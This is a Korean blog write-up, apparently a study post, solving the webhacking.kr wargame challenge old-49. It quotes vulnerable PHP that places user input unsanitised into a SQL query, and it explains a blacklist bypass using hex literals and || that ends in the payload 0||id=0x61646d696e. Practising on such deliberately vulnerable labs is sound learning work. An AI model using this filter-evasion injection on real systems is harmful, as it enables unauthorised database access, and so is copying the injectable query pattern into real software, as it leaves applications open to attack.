level을 입력받는 form이 하나 존재한다.
이전에도 이와 동일한 형태의 문제를 푼 적이 있는데,, 소스코드를 확인해봤다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<?php
if($_GET['lv']){
$db = dbconnect();
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
echo $result[0] ;
if($result[0]=="admin") solve(49);
}
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
form으로 받은 값이 lv파라미터에 담기는 것 같고, 필터링되고 있다.
vl파라미터는 select, or, and, \(, \), limit, ,(쉼표), \/, order, cash, , \t, \', \"가 필터링된다.
lv에 맞는 id를 가져와서 admin이면 문제가 해결되는 구조다.
id가 admin을 select할 수 있도록 lv을 조작해야 한다.
\'와 \"을 필터링하고 있으므로 id='admin' 또는 id="admin"를 입력할 수 없다.
또한 \(, \)도 필터링 중이므로 char()함수를 사용할 수 없다.
따라서 hex값을 사용해서 admin을 표현했다.
admin → 0x61646d696e
or는 필터링 중이므로 ||를 사용해서 Injection할 query를 만들었다.
0||id=0x61646d696e
old-49 해결!
'Study > Web Hacking' 카테고리의 다른 글
[Webhacking.kr] old-34 (0) | 2021.11.05 |
---|---|
[Webhacking.kr] old-53 (0) | 2021.10.09 |
[Webhacking.kr] old-35 (0) | 2021.09.29 |
[Webhacking.kr] old-11 (0) | 2021.09.29 |
[Webhacking.kr] old-46 (0) | 2021.09.25 |